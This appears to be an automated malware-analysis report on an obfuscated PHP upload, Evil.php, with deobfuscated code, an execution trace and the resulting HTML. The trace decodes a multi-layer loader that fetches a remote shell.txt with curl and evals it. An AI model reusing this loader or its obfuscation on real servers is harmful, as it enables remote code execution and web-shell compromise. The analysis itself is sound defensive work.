Evil.php

md5: 486a89ec7b66552d6272a8afdc4a195a

Jump to:
Deobfuscated code (Read more)
Execution traces (Read more)
Generated HTML (Read more)
Original Code (Read more)
Screenshot
Attributes
Encoding
base64_decode (Original, Traces)

Execution
eval (Original, Traces)

Title
Site not found · GitHub Pages (HTML)

URLs
https://eviltwin-dev.github.io/shell.txt (Traces)
https://githubstatus.com (HTML)
https://help.github.com/pages/ (HTML)
https://twitter.com/githubstatus (HTML)

Deobfuscated PHP code
<?php

$et = 'jUjbZaJAEP0Vy7LKsFhjc7iX5VASiU5wb0mNmpctICgqCihlMeW/L5BOh11F2beZmj6nQp/uhtrSaPYSB02V6mHALPtDFKwrXXuagiE3rrz8SWFJI9s31/IjQmiN1/h6sT+00d31ffP4y2yXYXvhpDNqf1GB+lnP2M3PrddrqDb3luYuAl2r2IZ28oC9qrmupSEE6U1gSzvEZGd64YcWJ1bUh7lbS6ZJqdeZPIpWzzgwO+PY5Nw81dahvpIBW3Zd2GQRH7xnos8XTj4x5wsrEC/JhXfWNqGrAUkq406AgJKcvFU8gBNdrydRZKzvESwVhFECnLASGuRHg6b7HhDEMqiUsl/iIVnj92Zwzgrct7UXRRWMVRQlPERr2AFJ+EllAiVV+RQ6P9o6hKjSypF0BtyYWTY2l6LPr9glOq859e7yigvLsEsclSTzaMNgxdIeFeslUoNHpq54C0EGcshPRKxn7m/8DqVFACi2AnIJaa5zyuXjw5IJVZm4iXsv4MozFYo6WPPW0QKB0q4LkKTPJzJjnQ3PkYC/U+kzzNIPvszKUdglAWmezo2kZoMo+hKEPcjcwUiRz0tq9owlpVoNPD+C8H+cc7NBGlhYUfDbU5Ibni3XZOH4PPrKBUEuzmwCsNf7OVdUu6QxxQG7nLNoTe7mviTLckAofLWW4ucYHcJLKO8tGVwYDJghnWh5ZU+pjSL4T3pJc3UfDFYg1Z4JY3jo3PTCkibupQZvW4nlxb7RuQ9ZXhWdi6Qopk2fjGH01xfgP7Kq7QxywznGYDrwZ2KsrNyNvpwhFXq7eOCh2JpoldgLa3rbRmev+3d6u9LSUofYGa0sYnwAEzsSMc+m30aW7ritp/yzwfOLqkHeOvD5oQcnUGio3mpv5b79wGqUVb2fDZ7W0848ZY/qxlhlEW3i3VUNpwMl3A4isd/rH5yBr916OHoWKGm/agOdZNu4XbVN9Srz78oj8nSDinDMCcSH8ypfO214mls7ZvWU/ONjSphto0RCtqTRmLvGNRTZPw==';
eval /* PHPDeobfuscator eval output */ {
    $vcbf840 = "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";
    function yprr503($ccun221, $ipue244, $tgju488)
    {
        return '' . $ccun221 . '' . $ipue244 . '' . $tgju488 . '';
    }
    $xjow903 = yprr503($vcbf840[58], "al", $vcbf840[36]);
    $zjcn038 = yprr503("_u", "se", '');
    $llof213 = yprr503($vcbf840[27], $vcbf840[20], $vcbf840[39]);
    $nogd067 = yprr503($vcbf840[8], '', $vcbf840[11]);
    $fsps364 = yprr503($vcbf840[58], $vcbf840[20], "ar");
    $kjhe036 = yprr503($vcbf840[27], $vcbf840[69], $vcbf840[25]);
    $smyo112 = yprr503(yprr503($xjow903, '', $zjcn038), yprr503($llof213, $nogd067, ''), yprr503($fsps364, '', $kjhe036));
    $gopp378 = yprr503($vcbf840[58], $vcbf840[27], $vcbf840[0]);
    $oont490 = yprr503($vcbf840[69], $vcbf840[38], '');
    $lllq180 = yprr503($vcbf840[0], '', $vcbf840[20]);
    $ecnr938 = yprr503($vcbf840[39], $vcbf840[8], $vcbf840[11]);
    $ffdi480 = yprr503($vcbf840[58], $vcbf840[38], '');
    $dxkt204 = yprr503($vcbf840[61], $vcbf840[10], '');
    $icbz544 = yprr503('', $vcbf840[11], '');
    $uohg939 = yprr503(yprr503($gopp378, $oont490, $lllq180), yprr503($ecnr938, '', $ffdi480), yprr503($dxkt204, '', $icbz544));
    $idgk110 = yprr503($vcbf840[0], '', $vcbf840[3]);
    $opvu721 = yprr503($vcbf840[69], $vcbf840[36], $vcbf840[9]);
    $mtbg524 = yprr503('', $vcbf840[49], $vcbf840[69]);
    $yxfs212 = yprr503($vcbf840[57], $vcbf840[0], $vcbf840[7]);
    $vesg899 = yprr503($vcbf840[16], $vcbf840[20], $vcbf840[70]);
    $ehjl604 = yprr503($vcbf840[0], $vcbf840[58], $vcbf840[10]);
    $bxlr460 = yprr503($vcbf840[70], $vcbf840[0], $vcbf840[9]);
    $jyhp869 = yprr503(yprr503($idgk110, $opvu721, ''), yprr503('', '', $mtbg524), yprr503($yxfs212, $vesg899 . $ehjl604, $bxlr460)) . "'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw=='" . yprr503("))", '', $vcbf840[46]);
    $smyo112($uohg939, array('', '}' . $jyhp869 . '//'));
    //scp-173
};
Execution traces
data/traces/486a89ec7b66552d6272a8afdc4a195a_trace-1676247606.9368.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:20:32.834648]
1	0	1	0.000170	393512
1	3	0	0.000235	395400	{main}	1		/var/www/html/uploads/Evil.php	0	0
1		A						/var/www/html/uploads/Evil.php	1	$et = 'jUjbZaJAEP0Vy7LKsFhjc7iX5VASiU5wb0mNmpctICgqCihlMeW/L5BOh11F2beZmj6nQp/uhtrSaPYSB02V6mHALPtDFKwrXXuagiE3rrz8SWFJI9s31/IjQmiN1/h6sT+00d31ffP4y2yXYXvhpDNqf1GB+lnP2M3PrddrqDb3luYuAl2r2IZ28oC9qrmupSEE6U1gSzvEZGd64YcWJ1bUh7lbS6ZJqdeZPIpWzzgwO+PY5Nw81dahvpIBW3Zd2GQRH7xnos8XTj4x5wsrEC/JhXfWNqGrAUkq406AgJKcvFU8gBNdrydRZKzvESwVhFECnLASGuRHg6b7HhDEMqiUsl/iIVnj92Zwzgrct7UXRRWMVRQlPERr2AFJ+EllAiVV+RQ6P9o6hKjSypF0BtyYWTY2l6LPr9glOq859e7yigvLsEsclSTzaMNgxdIeFeslUoNHpq54C0EGcshPRKxn7m/8DqVFACi2AnIJaa5zyuXjw5IJVZm4iXsv4Moz'
2	4	0	0.000293	395400	base64_decode	0		/var/www/html/uploads/Evil.php	1	1	'jUjbZaJAEP0Vy7LKsFhjc7iX5VASiU5wb0mNmpctICgqCihlMeW/L5BOh11F2beZmj6nQp/uhtrSaPYSB02V6mHALPtDFKwrXXuagiE3rrz8SWFJI9s31/IjQmiN1/h6sT+00d31ffP4y2yXYXvhpDNqf1GB+lnP2M3PrddrqDb3luYuAl2r2IZ28oC9qrmupSEE6U1gSzvEZGd64YcWJ1bUh7lbS6ZJqdeZPIpWzzgwO+PY5Nw81dahvpIBW3Zd2GQRH7xnos8XTj4x5wsrEC/JhXfWNqGrAUkq406AgJKcvFU8gBNdrydRZKzvESwVhFECnLASGuRHg6b7HhDEMqiUsl/iIVnj92Zwzgrct7UXRRWMVRQlPERr2AFJ+EllAiVV+RQ6P9o6hKjSypF0BtyYWTY2l6LPr9glOq859e7yigvLsEsclSTzaMNgxdIeFeslUoNHpq54C0EGcshPRKxn7m/8DqVFACi2AnIJaa5zyuXjw5IJVZm4iXsv4Moz'
2	4	1	0.000330	396712
2	4	R			'�H�e�@\020�\025˲ʰXcs���P\022�NpoI���- (*\n(e1�/�N�]Eٷ��>�B����h�\022\aM��a�,�C\024�+]{��!7���IaI#�7��#Bh��z�?���}��l�a{�3jQ��Y���ϭ�k�6���.\002]�؆v򀽪���!\004�M`K;�dgz�\026\'Vԇ�[K�I�י<�V�80;����<�֡��\001[v]�d\021\037�g��\027N>1�\v+\020/Ʌw�6��\001I*�N�����U<�\023]�\'Qd��\021,\025�Q\002��\022\032�G���\036\020�2���_�!Y�fp�\nܷ�\027E\025�U\024%<Dk�\001I�Ie\002%U�\024:?�:���ʑt\006ܘY66��ϯ�%:�9���\v˰K\034�$�h�`��\036\025�%R�G��x\vA\006r�OD�g�o�\016�E\000(�\002r\ti�s���Ò\tU���{/��3\025�:X���'
2	5	0	0.000407	396680	str_rot13	0		/var/www/html/uploads/Evil.php	1	1	'�H�e�@\020�\025˲ʰXcs���P\022�NpoI���- (*\n(e1�/�N�]Eٷ��>�B����h�\022\aM��a�,�C\024�+]{��!7���IaI#�7��#Bh��z�?���}��l�a{�3jQ��Y���ϭ�k�6���.\002]�؆v򀽪���!\004�M`K;�dgz�\026\'Vԇ�[K�I�י<�V�80;����<�֡��\001[v]�d\021\037�g��\027N>1�\v+\020/Ʌw�6��\001I*�N�����U<�\023]�\'Qd��\021,\025�Q\002��\022\032�G���\036\020�2���_�!Y�fp�\nܷ�\027E\025�U\024%<Dk�\001I�Ie\002%U�\024:?�:���ʑt\006ܘY66��ϯ�%:�9���\v˰K\034�$�h�`��\036\025�%R�G��x\vA\006r�OD�g�o�\016�E\000(�\002r\ti�s���Ò\tU���{/��3\025�:X���'
2	5	1	0.000477	397608
2	5	R			'�U�r�@\020�\025˲ʰKpf���C\022�AcbV���- (*\n(r1�/�A�]Rٷ��>�O����u�\022\aZ��n�,�P\024�+]{��!7���VnV#�7��#Ou��m�?���}��y�n{�3wD��L���ϭ�x�6���.\002]�؆i򀽪���!\004�Z`X;�qtm�\026\'Iԇ�[X�V�י<�I�80;����<�֡��\001[i]�q\021\037�t��\027A>1�\v+\020/Ʌj�6��\001V*�A�����H<�\023]�\'Dq��\021,\025�D\002��\022\032�T���\036\020�2���_�!L�sc�\nܷ�\027R\025�H\024%<Qx�\001V�Vr\002%H�\024:?�:���ʑg\006ܘL66��ϯ�%:�9���\v˰X\034�$�u�`��\036\025�%E�T��k\vN\006e�BQ�t�b�\016�R\000(�\002e\tv�f���Ò\tH���{/��3\025�:K���'
2	6	0	0.000549	396296	gzinflate	0		/var/www/html/uploads/Evil.php	1	1	'�U�r�@\020�\025˲ʰKpf���C\022�AcbV���- (*\n(r1�/�A�]Rٷ��>�O����u�\022\aZ��n�,�P\024�+]{��!7���VnV#�7��#Ou��m�?���}��y�n{�3wD��L���ϭ�x�6���.\002]�؆i򀽪���!\004�Z`X;�qtm�\026\'Iԇ�[X�V�י<�I�80;����<�֡��\001[i]�q\021\037�t��\027A>1�\v+\020/Ʌj�6��\001V*�A�����H<�\023]�\'Dq��\021,\025�D\002��\022\032�T���\036\020�2���_�!L�sc�\nܷ�\027R\025�H\024%<Qx�\001V�Vr\002%H�\024:?�:���ʑg\006ܘL66��ϯ�%:�9���\v˰X\034�$�u�`��\036\025�%E�T��k\vN\006e�BQ�t�b�\016�R\000(�\002e\tv�f���Ò\tH���{/��3\025�:K���'
2	6	1	0.000638	398376
2	6	R			'$ipos840= "rP.iM176h(baNX0S4U Q_EAjTltek9L5)JcVyZgsuD2C-F;zRod8BKwWGfp*xvIO,Y3m+nq/H";shapgvba lcee503($ppha221,$vchr244,$gtwh488){erghea \'\'.$ppha221.\'\'.$vchr244.\'\'.$gtwh488.\'\';}$kwbj903 = lcee503($ipos840{58},$ipos840{69}.$ipos840{36},$ipos840{36});$mwpa038 = lcee503($ipos840{20}.$ipos840{8},$ipos840{57}.$ipos840{0},\'\');$yybs213 = lcee503($ipos840{27},$ipos840{20},$ipos840{39});$abtq067 = lcee503($ipos840{8},\'\',$ipos840{11});$sfcf364 = lcee503($ipos840{58},$ipos840{20},$ipos840{69}.$ipos840{27}'
2	7	0	0.000683	397448	str_rot13	0		/var/www/html/uploads/Evil.php	1	1	'$ipos840= "rP.iM176h(baNX0S4U Q_EAjTltek9L5)JcVyZgsuD2C-F;zRod8BKwWGfp*xvIO,Y3m+nq/H";shapgvba lcee503($ppha221,$vchr244,$gtwh488){erghea \'\'.$ppha221.\'\'.$vchr244.\'\'.$gtwh488.\'\';}$kwbj903 = lcee503($ipos840{58},$ipos840{69}.$ipos840{36},$ipos840{36});$mwpa038 = lcee503($ipos840{20}.$ipos840{8},$ipos840{57}.$ipos840{0},\'\');$yybs213 = lcee503($ipos840{27},$ipos840{20},$ipos840{39});$abtq067 = lcee503($ipos840{8},\'\',$ipos840{11});$sfcf364 = lcee503($ipos840{58},$ipos840{20},$ipos840{69}.$ipos840{27}'
2	7	1	0.000723	399528
2	7	R			'$vcbf840= "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";function yprr503($ccun221,$ipue244,$tgju488){return \'\'.$ccun221.\'\'.$ipue244.\'\'.$tgju488.\'\';}$xjow903 = yprr503($vcbf840{58},$vcbf840{69}.$vcbf840{36},$vcbf840{36});$zjcn038 = yprr503($vcbf840{20}.$vcbf840{8},$vcbf840{57}.$vcbf840{0},\'\');$llof213 = yprr503($vcbf840{27},$vcbf840{20},$vcbf840{39});$nogd067 = yprr503($vcbf840{8},\'\',$vcbf840{11});$fsps364 = yprr503($vcbf840{58},$vcbf840{20},$vcbf840{69}.$vcbf840{27}'
2	8	0	0.000906	417200	eval	1	'$vcbf840= "eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U";function yprr503($ccun221,$ipue244,$tgju488){return \'\'.$ccun221.\'\'.$ipue244.\'\'.$tgju488.\'\';}$xjow903 = yprr503($vcbf840{58},$vcbf840{69}.$vcbf840{36},$vcbf840{36});$zjcn038 = yprr503($vcbf840{20}.$vcbf840{8},$vcbf840{57}.$vcbf840{0},\'\');$llof213 = yprr503($vcbf840{27},$vcbf840{20},$vcbf840{39});$nogd067 = yprr503($vcbf840{8},\'\',$vcbf840{11});$fsps364 = yprr503($vcbf840{58},$vcbf840{20},$vcbf840{69}.$vcbf840{27});$kjhe036 = yprr503($vcbf840{27},$vcbf840{69},$vcbf840{25});$smyo112 =yprr503(yprr503($xjow903,\'\',$zjcn038),yprr503($llof213,$nogd067,\'\'),yprr503($fsps364,\'\',$kjhe036));$gopp378 = yprr503($vcbf840{58},$vcbf840{27},$vcbf840{0});$oont490 = yprr503($vcbf840{69},$vcbf840{38},\'\');$lllq180 = yprr503($vcbf840{0},\'\',$vcbf840{20});$ecnr938 = yprr503($vcbf840{39},$vcbf840{8},$vcbf840{11});$ffdi480 = yprr503($vcbf840{58},$vcbf840{38},\'\');$dxkt204 = yprr503($vcbf840{61},$vcbf840{10},\'\');$icbz544 = yprr503(\'\',$vcbf840{11},\'\');$uohg939 = yprr503( yprr503($gopp378,$oont490,$lllq180), yprr503($ecnr938,\'\',$ffdi480), yprr503($dxkt204,\'\',$icbz544));$idgk110 = yprr503($vcbf840{0},\'\',$vcbf840{3});$opvu721= yprr503($vcbf840{69},$vcbf840{36},$vcbf840{9});$mtbg524 = yprr503(\'\',$vcbf840{49},$vcbf840{69});$yxfs212 = yprr503($vcbf840{57},$vcbf840{0},$vcbf840{7});$vesg899 = yprr503($vcbf840{16},$vcbf840{20},$vcbf840{70});$ehjl604 = yprr503($vcbf840{0},$vcbf840{58},$vcbf840{10});$bxlr460 = yprr503($vcbf840{70},$vcbf840{0},$vcbf840{9});$jyhp869 = yprr503(yprr503($idgk110,$opvu721,\'\'),yprr503(\'\',\'\',$mtbg524),yprr503($yxfs212,$vesg899.$ehjl604,$bxlr460))."\'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw==\'".yprr503($vcbf840{32}.$vcbf840{32},\'\',$vcbf840{46});$smyo112($uohg939,array(\'\',\'}\'.$jyhp869.\'//\'));//scp-173'	/var/www/html/uploads/Evil.php	1	0
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$vcbf840 = 'eC.vZ176u(onAK0F4H D_RNwGygrx9Y5)WpIlMtfhQ2P-S;mEbq8OXjJTsc*kiVB,L3z+ad/U'
3	9	0	0.001005	417232	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'c'	'al'	'l'
3	9	1	0.001027	417264
3	9	R			'call'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$xjow903 = 'call'
3	10	0	0.001062	417296	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'_u'	'se'	''
3	10	1	0.001081	417328
3	10	R			'_use'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$zjcn038 = '_use'
3	11	0	0.001114	417264	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'r'	'_'	'f'
3	11	1	0.001134	417296
3	11	R			'r_f'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$llof213 = 'r_f'
3	12	0	0.001166	417296	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'u'	''	'n'
3	12	1	0.001186	417328
3	12	R			'un'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$nogd067 = 'un'
3	13	0	0.001220	417360	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'c'	'_'	'ar'
3	13	1	0.001240	417392
3	13	R			'c_ar'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$fsps364 = 'c_ar'
3	14	0	0.001368	417360	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'r'	'a'	'y'
3	14	1	0.001388	417392
3	14	R			'ray'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$kjhe036 = 'ray'
3	15	0	0.001420	417392	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'call'	''	'_use'
3	15	1	0.001440	417432
3	15	R			'call_use'
3	16	0	0.001458	417432	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'r_f'	'un'	''
3	16	1	0.001478	417464
3	16	R			'r_fun'
3	17	0	0.001496	417464	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'c_ar'	''	'ray'
3	17	1	0.001515	417496
3	17	R			'c_array'
3	18	0	0.001532	417496	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'call_use'	'r_fun'	'c_array'
3	18	1	0.001553	417544
3	18	R			'call_user_func_array'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$smyo112 = 'call_user_func_array'
3	19	0	0.001587	417440	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'c'	'r'	'e'
3	19	1	0.001606	417472
3	19	R			'cre'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$gopp378 = 'cre'
3	20	0	0.001638	417472	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'a'	't'	''
3	20	1	0.001658	417504
3	20	R			'at'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$oont490 = 'at'
3	21	0	0.001690	417504	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'e'	''	'_'
3	21	1	0.001709	417536
3	21	R			'e_'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$lllq180 = 'e_'
3	22	0	0.001740	417536	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'f'	'u'	'n'
3	22	1	0.001768	417568
3	22	R			'fun'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$ecnr938 = 'fun'
3	23	0	0.001800	417568	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'c'	't'	''
3	23	1	0.001819	417600
3	23	R			'ct'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$ffdi480 = 'ct'
3	24	0	0.001851	417600	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'i'	'o'	''
3	24	1	0.001870	417632
3	24	R			'io'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$dxkt204 = 'io'
3	25	0	0.001901	417632	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	''	'n'	''
3	25	1	0.001919	417664
3	25	R			'n'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$icbz544 = 'n'
3	26	0	0.001951	417664	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'cre'	'at'	'e_'
3	26	1	0.001970	417696
3	26	R			'create_'
3	27	0	0.001989	417696	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'fun'	''	'ct'
3	27	1	0.002008	417728
3	27	R			'funct'
3	28	0	0.002025	417728	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'io'	''	'n'
3	28	1	0.002044	417760
3	28	R			'ion'
3	29	0	0.002061	417760	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'create_'	'funct'	'ion'
3	29	1	0.002081	417800
3	29	R			'create_function'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$uohg939 = 'create_function'
3	30	0	0.002116	417704	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'e'	''	'v'
3	30	1	0.002135	417736
3	30	R			'ev'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$idgk110 = 'ev'
3	31	0	0.002167	417736	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'a'	'l'	'('
3	31	1	0.002185	417768
3	31	R			'al('
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$opvu721 = 'al('
3	32	0	0.002218	417768	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	''	'b'	'a'
3	32	1	0.002237	417800
3	32	R			'ba'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$mtbg524 = 'ba'
3	33	0	0.002268	417800	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	's'	'e'	'6'
3	33	1	0.002286	417832
3	33	R			'se6'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$yxfs212 = 'se6'
3	34	0	0.002318	417832	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'4'	'_'	'd'
3	34	1	0.002336	417864
3	34	R			'4_d'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$vesg899 = '4_d'
3	35	0	0.002367	417864	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'e'	'c'	'o'
3	35	1	0.002386	417896
3	35	R			'eco'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$ehjl604 = 'eco'
3	36	0	0.002417	417896	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'd'	'e'	'('
3	36	1	0.002436	417928
3	36	R			'de('
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$bxlr460 = 'de('
3	37	0	0.002468	417928	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'ev'	'al('	''
3	37	1	0.002487	417960
3	37	R			'eval('
3	38	0	0.002505	417960	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	''	''	'ba'
3	38	1	0.002523	417992
3	38	R			'ba'
3	39	0	0.002540	418024	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'se6'	'4_deco'	'de('
3	39	1	0.002560	418064
3	39	R			'se64_decode('
3	40	0	0.002579	418032	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'eval('	'ba'	'se64_decode('
3	40	1	0.002599	418080
3	40	R			'eval(base64_decode('
3	41	0	0.002620	418216	yprr503	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	3	'))'	''	';'
3	41	1	0.002638	418248
3	41	R			'));'
2		A						/var/www/html/uploads/Evil.php(1) : eval()'d code	1	$jyhp869 = 'eval(base64_decode(\'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw==\'));'
3	42	0	0.002692	418816	call_user_func_array:{/var/www/html/uploads/Evil.php(1) : eval()'d code:1}	0		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	2	'create_function'	[0 => '', 1 => '}eval(base64_decode(\'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw==\'));//']
4	43	0	0.002732	419304	create_function	0		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	2	''	'}eval(base64_decode(\'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw==\'));//'
5	44	0	0.002778	421152	{internal eval}	1		/var/www/html/uploads/Evil.php(1) : eval()'d code	1	0
6	45	0	0.002797	421152	base64_decode	0		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function	1	1	'JGNoID0gY3VybF9pbml0KCdodHRwczovL2V2aWx0d2luLWRldi5naXRodWIuaW8vc2hlbGwudHh0Jyk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTskcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7ZXZhbCgnPz4nLiRyZXN1bHQpOw=='
6	45	1	0.002828	421440
6	45	R			'$ch = curl_init(\'https://eviltwin-dev.github.io/shell.txt\');curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result = curl_exec($ch);eval(\'?>\'.$result);'
6	46	0	0.002875	423064	{internal eval}	1		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function	1	0
7	47	0	0.002896	423064	curl_init	0		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	1	'https://eviltwin-dev.github.io/shell.txt'
7	47	1	0.002928	424008
7	47	R			resource(3) of type (curl)
6		A						/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	$ch = resource(3) of type (curl)
7	48	0	0.002968	423976	curl_setopt	0		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	3	resource(3) of type (curl)	19913	1
7	48	1	0.002991	424072
7	48	R			TRUE
7	49	0	0.003008	423976	curl_exec	0		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	1	resource(3) of type (curl)
7	49	1	0.116224	436296
7	49	R			'<!DOCTYPE html>\n<html>\n  <head>\n    <meta http-equiv="Content-type" content="text/html; charset=utf-8">\n    <meta http-equiv="Content-Security-Policy" content="default-src \'none\'; style-src \'unsafe-inline\'; img-src data:; connect-src \'self\'">\n    <title>Site not found &middot; GitHub Pages</title>\n    <style type="text/css" media="screen">\n      body {\n        background-color: #f1f1f1;\n        margin: 0;\n        font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;\n      }\n\n      '
6		A						/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	$result = '<!DOCTYPE html>\n<html>\n  <head>\n    <meta http-equiv="Content-type" content="text/html; charset=utf-8">\n    <meta http-equiv="Content-Security-Policy" content="default-src \'none\'; style-src \'unsafe-inline\'; img-src data:; connect-src \'self\'">\n    <title>Site not found &middot; GitHub Pages</title>\n    <style type="text/css" media="screen">\n      body {\n        background-color: #f1f1f1;\n        margin: 0;\n        font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;\n      }\n\n      '
7	50	0	0.116360	461176	{internal eval}	1		/var/www/html/uploads/Evil.php(1) : eval()'d code(1) : runtime-created function(1) : eval()'d code	1	0
7	50	1	0.116499	469480
6	46	1	0.116508	456824
5	44	1	0.116517	455296
5	44	R			NULL
4	43	1	0.116534	453776
4	43	R			'\000lambda_18'
3	42	1	0.116552	453680
3	42	R			'\000lambda_18'
2	8	1	0.116568	452592
1	3	1	0.116577	433352
			0.117307	343088
TRACE END   [2023-02-12 22:20:32.951822]

Generated HTML code
<html><head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8">
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'">
    <title>Site not found · GitHub Pages</title>
    <style type="text/css" media="screen">
      body {
        background-color: #f1f1f1;
        margin: 0;
        font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      }

      .container { margin: 50px auto 40px auto; width: 600px; text-align: center; }

      a { color: #4183c4; text-decoration: none; }
      a:hover { text-decoration: underline; }

